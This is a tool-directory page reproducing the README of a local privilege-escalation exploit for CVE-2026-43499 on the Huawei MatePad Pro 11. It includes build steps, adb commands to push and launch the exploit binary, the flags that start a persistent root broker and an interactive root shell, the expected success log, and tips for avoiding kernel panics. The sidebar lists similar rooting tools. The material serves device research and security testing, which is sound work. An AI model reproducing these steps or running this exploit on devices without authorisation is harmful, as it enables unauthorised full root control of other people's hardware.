Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GhostLock-GOT-W29 — CVE-2026-43499 (GhostLock) research on HUAWEI MatePad Pro 11 GOT-W29. 在给平板适配 GSI 时将平板刷成砖了,故 archive 本仓库。 | Kitploit
Tools/GitHubGitHub/zzzxxxxxxxxxx/ghostlock-got-w29
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubzzzxxxxxxxxxx/ghostlock-got-w29

GhostLock-GOT-W29

CVE-2026-43499 (GhostLock) research on HUAWEI MatePad Pro 11 GOT-W29. 在给平板适配 GSI 时将平板刷成砖了,故 archive 本仓库。

View Repository
9171Oct 22, 2026Not yet reviewed
Share

GhostLock GOT-W29

HUAWEI MatePad Pro 11(GOT-W29,SM8250 / Snapdragon 870,HarmonyOS 4.x, kernel 4.19.157-perf+)的 CVE-2026-43499 提权适配。

Current status:

  • A 路线真机完成:合法 private root cred,SELinux 保持 u:r:shell:s0
  • 持久 root broker:@gl_su
  • 完整 PTY root shell:Ctrl-C、方向键、后台作业控制均可用
  • arbitrary read 使用独立 random/uuid ctl_table,不修改 boot_id 和 ashmem 节点
  • App 冷启动验证通过
  • B 路线(u:r:kernel:s0 + full caps)仍是 TODO

For the complete principles, offsets, failure modes, and history, see TECHNICAL.md.

Build

cd exploit/ghostlock-source
make -j3

Artifacts:

exploit/ghostlock-source/build/bin/ghostlock_exe

当前机器使用 NDK sysroot + host clang 交叉编译,详见 exploit/ghostlock-source/TOOLCHAIN.md。

Launching on a real device

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Start the A-route broker:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

On success, the log contains:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Usage

From another adb shell, run:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'your command'

An interactive root shell must use -t:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

The broker allocates a real controlling terminal for the shell, so tty should show /dev/pts/N, and Ctrl-C, arrow keys, jobs, and foreground/background switching all work normally.

Safety notes

  • --fake-lock-window and --detach are the key parameters for safe operation on a real device.
  • Do not use --hold; do not directly use kill -9 to terminate a worker that has already consumed a dangling waiter.
  • A failed attempt may trigger an oops/panic; keep --attempts 1 on a real device.
  • To clean up a detached worker, reboot the device.
  • --verify-write, --verify-read, and --verify-all are boot_id write-primitive self-checks, and will corrupt the boot_id high 8 bytes; they should only be run in QEMU or when the risk is explicitly accepted.
  • Do not use --escalate in place of the A route; it is reserved for B-route research and carries cred lifetime risks.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

For QEMU details, see tools/qemu-test/README.md.

B route TODO

Goal: obtain u:r:kernel:s0 and full capabilities.

To be resolved:

  • cred/security 生命周期和 RCU 回收
  • kernel 域 exec 用户态程序
  • kernel 域 socket bind / mount / 文件访问策略
  • fork root child 与 SID 继承
  • permissive/SID 修复是否会引入全局副作用

Main parameters

--simple-root             A route privilege escalation
--su-server               start the root broker
--rsh CMD                 execute a single command
--rsh-shell               full PTY interactive shell
--fake-lock-window        use a stack-private fake lock (recommended on a real device)
--detach                  permanently keep alive the worker that consumed the waiter
--probe-cycle             the EDEADLK trigger method that is currently stable on the kernel
--no-rt                   avoid RT waiters starving CFS
--attempts 1              do not retry after failure on a real device
--log-file PATH           persistent log
--fsync                   flush final-result writes to disk

--help lists all self-check and research parameters.

Download Tool

Related Tools

  • PEASS-ng

    PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

  • PrivescCheck

    Privilege Escalation Enumeration Script for Windows

  • LinEnum

    Scripted Local Linux Enumeration & Privilege Escalation Checks

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.3k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    819
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    446
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 5

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    342
  • 6

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    336

Explore all tools

Browse our collection of tools

View all tools →